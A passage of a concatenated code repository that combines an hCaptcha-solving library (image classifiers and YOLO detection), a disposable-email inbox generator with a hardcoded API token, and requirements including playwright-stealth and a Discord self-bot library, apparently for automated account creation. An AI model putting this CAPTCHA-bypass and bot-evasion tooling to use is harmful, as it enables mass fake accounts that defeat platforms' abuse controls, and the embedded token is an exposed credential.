| 132 | class HorsesDrawnWithFlowers(ResNetFactory): 133 | """Handle challenge「Please select all the horses drawn with flowers」""" 134 | 135 | def __init__(self, dir_model, path_rainbow=None): 136 | _onnx_prefix = "horses_drawn_with_flowers" 137 | self.rainbow_key = _onnx_prefix.replace("_", " ") 138 | super().__init__( 139 | _onnx_prefix, f"{_onnx_prefix}(de-stylized)_model", dir_model, path_rainbow 140 | ) 141 | 142 | def solution(self, img_stream, **kwargs) -> bool: 143 | """Implementation process of solution""" 144 | 145 | 146 | class PluggableONNXModels: 147 | """ 148 | Manage pluggable models. Provides high-level interfaces 149 | such as model download, model cache, and model scheduling. 150 | """ 151 | 152 | def __init__(self, path_objects_yaml: str): 153 | self.fingers = [] 154 | self.label_alias = {i: {} for i in ["zh", "en"]} 155 | self._register(path_objects_yaml) 156 | 157 | def _register(self, path_objects_yaml): 158 | """ 159 | Register pluggable ONNX models from `objects.yaml`. 160 | 161 | :type path_objects_yaml: str 162 | :rtype: List[str] 163 | :rtype: None 164 | """ 165 | if not path_objects_yaml or not os.path.exists(path_objects_yaml): 166 | return 167 | 168 | with open(path_objects_yaml, "r", encoding="utf8") as file: 169 | data: Dict[str, dict] = yaml.safe_load(file.read()) 170 | 171 | label_to_i18ndict = data.get("label_alias", {}) 172 | if not label_to_i18ndict: 173 | return 174 | 175 | for model_label, i18n_to_raw_labels in label_to_i18ndict.items(): 176 | self.fingers.append(model_label) 177 | for lang, prompt_labels in i18n_to_raw_labels.items(): 178 | for prompt_label in prompt_labels: 179 | self.label_alias[lang].update({prompt_label.strip(): model_label}) 180 | 181 | def summon(self, dir_model, path_rainbow=None, upgrade=None): 182 | """ 183 | Download ONNX models from upstream repositories, 184 | skipping installed model files by default. 185 | 186 | :type dir_model: str 187 | :type path_rainbow: str | None 188 | :type upgrade: bool | None 189 | :rtype: None 190 | """ 191 | for finger in self.fingers: 192 | FingersOfTheGolderOrder(finger, dir_model, path_rainbow).download_model(upgrade) 193 | 194 | def overload(self, dir_model, path_rainbow=None): 195 | """ 196 | Load the ONNX model into memory. 197 | Executed before the task starts. 198 | 199 | :type dir_model: str 200 | :type path_rainbow: str | None 201 | :rtype: Dict[str, FingersOfTheGolderOrder] 202 | """ 203 | return { 204 | finger: FingersOfTheGolderOrder(finger, dir_model, path_rainbow) 205 | for finger in self.fingers 206 | } 207 | 208 | def black_knife(self, label_alias, dir_model, path_rainbow=None): 209 | """ 210 | Use to summon the spirit of Black Knife Tiche. 211 | 212 | :type label_alias: str 213 | :type dir_model: PathLike[str] 214 | :type path_rainbow: PathLike[str] | None 215 | :rtype: None 216 | """ 217 | 218 | def mimic_tear(self): 219 | """ 220 | This spirit takes the form of the summoner to fight alongside them, 221 | but its mimicry does not extend to imitating the summoner's will. 222 | 223 | :rtype: None 224 | """ 225 | -------------------------------------------------------------------------------- /hcaptcha_challenger/solutions/sk_recognition.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Time : 2022-03-01 20:32 3 | # Author : Bingjie Yan 4 | # Github : https://github.com/beiyuouo 5 | # Description: 6 | import time 7 | from typing import Optional 8 | 9 | import cv2 10 | import numpy as np 11 | from skimage import feature 12 | from skimage.future import graph 13 | from skimage.segmentation import slic 14 | 15 | from .kernel import Solutions 16 | 17 | 18 | class SKRecognition(Solutions): 19 | def __init__(self, path_rainbow: Optional[str] = None): 20 | super().__init__("skimage_model", path_rainbow) 21 | 22 | @staticmethod 23 | def _weight_mean_color(graph_, src: int, dst: int, n: int): # noqa 24 | """Callback to handle merging nodes by recomputing mean color. 25 | 26 | The method expects that the mean color of `dst` is already computed. 27 | 28 | Parameters 29 | ---------- 30 | graph_ : RAG 31 | The graph under consideration. 32 | src, dst : int 33 | The vertices in `graph` to be merged. 34 | n : int 35 | A neighbor of `src` or `dst` or both. 36 | 37 | Returns 38 | ------- 39 | data : dict 40 | A dictionary with the `"weight"` attribute set as the absolute 41 | difference of the mean color between node `dst` and `n`. 42 | """ 43 | 44 | diff = graph_.nodes[dst]["mean color"] - graph_.nodes[n]["mean color"] 45 | diff = np.linalg.norm(diff) 46 | return {"weight": diff} 47 | 48 | @staticmethod 49 | def _merge_mean_color(graph_, src: int, dst: int): 50 | """Callback called before merging two nodes of a mean color distance graph. 51 | 52 | This method computes the mean color of `dst`. 53 | 54 | Parameters 55 | ---------- 56 | graph_ : RAG 57 | The graph under consideration. 58 | src, dst : int 59 | The vertices in `graph` to be merged. 60 | """ 61 | graph_.nodes[dst]["total color"] += graph_.nodes[src]["total color"] 62 | graph_.nodes[dst]["pixel count"] += graph_.nodes[src]["pixel count"] 63 | graph_.nodes[dst]["mean color"] = ( 64 | graph_.nodes[dst]["total color"] / graph_.nodes[dst]["pixel count"] 65 | ) 66 | 67 | @staticmethod 68 | def _remove_border(img): 69 | img[:, 1] = 0 70 | img[:, -2] = 0 71 | img[1, :] = 0 72 | img[-2, :] = 0 73 | return img 74 | 75 | def solution(self, img_stream, **kwargs) -> bool: 76 | """Implementation process of solution""" 77 | raise NotImplementedError 78 | 79 | 80 | class VerticalRiverRecognition(SKRecognition): 81 | """A fast solution for identifying vertical rivers""" 82 | 83 | def __init__(self, path_rainbow: Optional[str] = None): 84 | super().__init__(path_rainbow=path_rainbow) 85 | self.rainbow_key = "vertical river" 86 | 87 | def solution(self, img_stream, **kwargs) -> bool: 88 | """Implementation process of solution""" 89 | match_output = self.match_rainbow(img_stream, rainbow_key=self.rainbow_key) 90 | if match_output is not None: 91 | return match_output 92 | 93 | img_arr = np.frombuffer(img_stream, np.uint8) 94 | img = cv2.imdecode(img_arr, flags=1) 95 | 96 | img = cv2.pyrMeanShiftFiltering(img, sp=10, sr=40) 97 | img = cv2.bilateralFilter(img, d=9, sigmaColor=100, sigmaSpace=75) 98 | 99 | labels = slic(img, compactness=30, n_segments=400, start_label=1) 100 | g = graph.rag_mean_color(img, labels) 101 | 102 | labels2 = graph.merge_hierarchical( 103 | labels, 104 | g, 105 | thresh=35, 106 | rag_copy=False, 107 | in_place_merge=True, 108 | merge_func=self._merge_mean_color, 109 | weight_func=self._weight_mean_color, 110 | ) 111 | 112 | return len(np.unique(labels2[-1])) >= 3 113 | 114 | 115 | class LeftPlaneRecognition(SKRecognition): 116 | """A fast solution for identifying `airplane in the sky flying left`""" 117 | 118 | def __init__(self, path_rainbow: Optional[str] = None): 119 | super().__init__(path_rainbow=path_rainbow) 120 | self.sky_threshold = 1800 121 | self.left_threshold = 30 122 | self.rainbow_key = "airplane in the sky flying left" 123 | 124 | def solution(self, img_stream: bytes, **kwargs) -> bool: 125 | """Implementation process of solution""" 126 | match_output = self.match_rainbow(img_stream, rainbow_key=self.rainbow_key) 127 | if match_output is not None: 128 | return match_output 129 | 130 | img_arr = np.frombuffer(img_stream, np.uint8) 131 | img = cv2.imdecode(img_arr, flags=1) 132 | img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) 133 | 134 | edges1 = feature.canny(img) 135 | edges1 = self._remove_border(edges1) 136 | 137 | # on the ground 138 | if np.count_nonzero(edges1) > self.sky_threshold: 139 | return False 140 | 141 | min_x = np.min(np.nonzero(edges1), axis=1)[1] 142 | max_x = np.max(np.nonzero(edges1), axis=1)[1] 143 | 144 | left_nonzero = np.count_nonzero(edges1[:, min_x : min(max_x, min_x + self.left_threshold)]) 145 | right_nonzero = np.count_nonzero(edges1[:, max(min_x, max_x - self.left_threshold) : max_x]) 146 | 147 | # Flying towards the right 148 | if left_nonzero > right_nonzero: 149 | return False 150 | 151 | time.sleep(0.25) 152 | return True 153 | 154 | 155 | class RightPlaneRecognition(SKRecognition): 156 | def __init__(self, path_rainbow: Optional[str] = None): 157 | super().__init__(path_rainbow=path_rainbow) 158 | self.sky_threshold = 1800 159 | self.left_threshold = 30 160 | self.rainbow_key = "airplanes in the sky that are flying to the right" 161 | 162 | def solution(self, img_stream: bytes, **kwargs) -> bool: 163 | match_output = self.match_rainbow(img_stream, rainbow_key=self.rainbow_key) 164 | if match_output is not None: 165 | return match_output 166 | 167 | img_arr = np.frombuffer(img_stream, np.uint8) 168 | img = cv2.imdecode(img_arr, flags=1) 169 | img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) 170 | 171 | edges1 = feature.canny(img) 172 | edges1 = self._remove_border(edges1) 173 | 174 | # On the ground 175 | if np.count_nonzero(edges1) > self.sky_threshold: 176 | return False 177 | 178 | min_x = np.min(np.nonzero(edges1), axis=1)[1] 179 | max_x = np.max(np.nonzero(edges1), axis=1)[1] 180 | 181 | left_nonzero = np.count_nonzero(edges1[:, min_x : min(max_x, min_x + self.left_threshold)]) 182 | right_nonzero = np.count_nonzero(edges1[:, max(min_x, max_x - self.left_threshold) : max_x]) 183 | 184 | # Flying towards the left 185 | if left_nonzero < right_nonzero: 186 | return False 187 | 188 | time.sleep(0.15) 189 | return True 190 | -------------------------------------------------------------------------------- /hcaptcha_challenger/solutions/yolo.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Time : 2022/3/2 0:52 3 | # Author : QIN2DIM 4 | # Github : https://github.com/QIN2DIM 5 | # Description: 6 | import os 7 | 8 | import cv2 9 | import numpy as np 10 | 11 | from .kernel import ChallengeStyle 12 | from .kernel import Solutions 13 | 14 | 15 | class YOLO: 16 | """YOLO model for image classification""" 17 | 18 | classes = [ 19 | "person", 20 | "bicycle", 21 | "car", 22 | "motorcycle", 23 | "airplane", 24 | "bus", 25 | "train", 26 | "truck", 27 | "boat", 28 | "traffic light", 29 | "fire hydrant", 30 | "stop sign", 31 | "parking meter", 32 | "bench", 33 | "bird", 34 | "cat", 35 | "dog", 36 | "horse", 37 | "sheep", 38 | "cow", 39 | "elephant", 40 | "bear", 41 | "zebra", 42 | "giraffe", 43 | "backpack", 44 | "umbrella", 45 | "handbag", 46 | "tie", 47 | "suitcase", 48 | "frisbee", 49 | "skis", 50 | "snowboard", 51 | "sports ball", 52 | "kite", 53 | "baseball bat", 54 | "baseball glove", 55 | "skateboard", 56 | "surfboard", 57 | "tennis racket", 58 | "bottle", 59 | "wine glass", 60 | "cup", 61 | "fork", 62 | "knife", 63 | "spoon", 64 | "bowl", 65 | "banana", 66 | "apple", 67 | "sandwich", 68 | "orange", 69 | "broccoli", 70 | "carrot", 71 | "hot dog", 72 | "pizza", 73 | "donut", 74 | "cake", 75 | "chair", 76 | "couch", 77 | "potted plant", 78 | "bed", 79 | "dining table", 80 | "toilet", 81 | "tv", 82 | "laptop", 83 | "mouse", 84 | "remote", 85 | "keyboard", 86 | "cell phone", 87 | "microwave", 88 | "oven", 89 | "toaster", 90 | "sink", 91 | "refrigerator", 92 | "book", 93 | "clock", 94 | "vase", 95 | "scissors", 96 | "teddy bear", 97 | "hair drier", 98 | "toothbrush", 99 | ] 100 | 101 | def __init__(self, dir_model: str = None, onnx_prefix: str = None): 102 | self.dir_model = "./model" if dir_model is None else dir_model 103 | 104 | # Select default onnx model. 105 | self.onnx_prefix = ( 106 | "yolov5s6" 107 | if onnx_prefix 108 | not in [ 109 | # Reference - Ultralytics YOLOv5 https://github.com/ultralytics/yolov5 110 | "yolov5m6", 111 | "yolov5s6", 112 | "yolov5n6", 113 | # Reference - MT-YOLOv6 https://github.com/meituan/YOLOv6 114 | "yolov6n", 115 | "yolov6s", 116 | "yolov6t", 117 | # "yolov7" # Vision Transformer 118 | ] 119 | else onnx_prefix 120 | ) 121 | 122 | self.name = f"YOLOv5{self.onnx_prefix[-2:]}" 123 | if self.onnx_prefix.startswith("yolov6"): 124 | self.name = f"MT-YOLOv6{self.onnx_prefix[-1]}" 125 | 126 | self.onnx_model = { 127 | "name": f"{self.name}(ONNX)_model", 128 | "path": os.path.join(self.dir_model, f"{self.onnx_prefix}.onnx"), 129 | "src": f"https://github.com/QIN2DIM/hcaptcha-challenger/releases/download/model/{self.onnx_prefix}.onnx", 130 | } 131 | 132 | self.flag = self.onnx_model["name"] 133 | 134 | self.download_model() 135 | self.net = cv2.dnn.readNetFromONNX(self.onnx_model["path"]) 136 | 137 | def download_model(self): 138 | """Download YOLOv5(ONNX) model""" 139 | Solutions.download_model_( 140 | dir_model=self.dir_model, 141 | path_model=self.onnx_model["path"], 142 | model_src=self.onnx_model["src"], 143 | model_name=self.onnx_model["name"], 144 | upgrade=False, 145 | ) 146 | 147 | def detect_common_objects(self, img: np.ndarray, confidence=0.4, nms_thresh=0.4): 148 | """ 149 | Object Detection 150 | 151 | Get multiple labels identified in a given image 152 | 153 | :param img: 154 | :param confidence: 155 | :param nms_thresh: 156 | :return: bbox, label, conf 157 | """ 158 | height, width = img.shape[:2] 159 | 160 | class_ids = [] 161 | confidences = [] 162 | boxes = [] 163 | 164 | blob = cv2.dnn.blobFromImage(img, 1 / 255.0, (128, 128), (0, 0, 0), swapRB=True, crop=False) 165 | 166 | self.net.setInput(blob) 167 | outs = self.net.forward() 168 | 169 | for out in outs: 170 | for detection in out: 171 | scores = detection[5:] 172 | class_id = np.argmax(scores) 173 | max_conf = scores[class_id] 174 | if max_conf > confidence: 175 | center_x = int(detection[0] * width) 176 | center_y = int(detection[1] * height) 177 | w = int(detection[2] * width) 178 | h = int(detection[3] * height) 179 | x = center_x - (w / 2) 180 | y = center_y - (h / 2) 181 | class_ids.append(class_id) 182 | confidences.append(float(max_conf)) 183 | boxes.append([x, y, w, h]) 184 | 185 | indices = cv2.dnn.NMSBoxes(boxes, confidences, confidence, nms_thresh) 186 | 187 | return [str(self.classes[class_ids[i]]) for i in indices] 188 | 189 | def solution(self, img_stream: bytes, label: str, **kwargs) -> bool: 190 | """ 191 | Implementation process of solution. 192 | 193 | with open(img_filepath, "rb") as file: 194 | data = file.read() 195 | solution(img_stream=data, label="truck") 196 | 197 | :param img_stream: image file binary stream 198 | :param label: 199 | :param kwargs: 200 | :return: 201 | """ 202 | confidence = kwargs.get("confidence", 0.4) 203 | nms_thresh = kwargs.get("nms_thresh", 0.4) 204 | 205 | np_array = np.frombuffer(img_stream, np.uint8) 206 | img = cv2.imdecode(np_array, flags=1) 207 | img = ( 208 | cv2.fastNlMeansDenoisingColored(img, None, 10, 10, 7, 21) 209 | if img.shape[0] == ChallengeStyle.WATERMARK 210 | else img 211 | ) 212 | try: 213 | labels = self.detect_common_objects(img, confidence, nms_thresh) 214 | return bool(label in labels) 215 | # patch for `ValueError: attempt to get argmax of an empty sequence.` 216 | # at code `class_id=np.argmax(scores)` 217 | except ValueError: 218 | return False 219 | -------------------------------------------------------------------------------- /mailinfo.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json 3 | import random 4 | import string 5 | 6 | class MailInfo: 7 | global DOMAINS 8 | global DOMAIN 9 | global TOKEN 10 | 11 | with open("config.json", "r") as conf: config = json.load(conf) 12 | DOMAINS = config["EMAIL STUFF"]["CUSTOM DOMAINS"] 13 | DOMAIN = random.choice(DOMAINS) 14 | TOKEN = "qgk2auEHq94bq5w8s_Fk78Iyt3xJrs9U7ESND5SHWbo" 15 | 16 | def generateInbox(rush=False): 17 | CHARS = string.ascii_letters + string.digits 18 | ALIAS = "".join(random.choice(CHARS) for _ in range(11)) 19 | EMAIL = f"{ALIAS}@{DOMAIN}" 20 | return Inbox(EMAIL, TOKEN) 21 | 22 | """ 23 | getEmail gets the emails from an inbox object 24 | and returns a list of Email objects 25 | """ 26 | 27 | def getEmails(inbox): 28 | s = TempMail.makeHTTPRequest(f"/custom/{TOKEN}/{DOMAIN}") 29 | data = json.loads(s) 30 | 31 | # if no emails are found, return an empty list 32 | # else return a list of email 33 | if data["email"] == None: 34 | return ["None"] 35 | else: 36 | emails = [] 37 | for email in data["email"]: 38 | emails.append(Email(email["from"], email["to"], email["subject"], email["body"], email["html"], email["date"])) 39 | return emails 40 | 41 | 42 | class Email: 43 | def __init__(self, sender, recipient, subject, body, html, date): 44 | # make the propertys immutable using @property 45 | self._sender = sender 46 | self._recipient = recipient 47 | self._subject = subject 48 | self._body = body 49 | self._html = html 50 | self._date = date 51 | 52 | @property 53 | def sender(self): 54 | return self._sender 55 | 56 | @property 57 | def recipient(self): 58 | return self._recipient 59 | 60 | @property 61 | def subject(self): 62 | return self._subject 63 | 64 | @property 65 | def body(self): 66 | return self._body 67 | 68 | @property 69 | def html(self): 70 | return self._html 71 | 72 | @property 73 | def date(self): 74 | return self._date 75 | 76 | def __repr__(self): 77 | return ("Email (sender={}, recipient={}, subject={}, body={}, html={}, date={} )".format(self.sender, self.recipient, self.subject, self.body, self.html, self.date)) 78 | 79 | 80 | class Inbox: 81 | def __init__(self, address, token): 82 | # make the propertys immutable using @property 83 | self._address = address 84 | self._token = token 85 | 86 | @property 87 | def address(self): 88 | return self._address 89 | 90 | @property 91 | def token(self): 92 | return self._token 93 | 94 | def __repr__(self): 95 | return ("Inbox (address={}, token={} )".format(self.address, self.token)) 96 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | httpx~=0.23.0 2 | playwright~=1.22.0 3 | playwright-stealth~=1.0.5 4 | numpy>=1.22 5 | scipy~=1.7.3 6 | random-user-agent~=1.0.1 7 | discum~=1.4.1 8 | tempmail-lol~=1.1.0 9 | validators 10 | 11 | # AI Requirements 12 | pyyaml~=6.0 13 | scikit-image~=0.19.2 14 | opencv-python~=4.5.5.62 15 | --------------------------------------------------------------------------------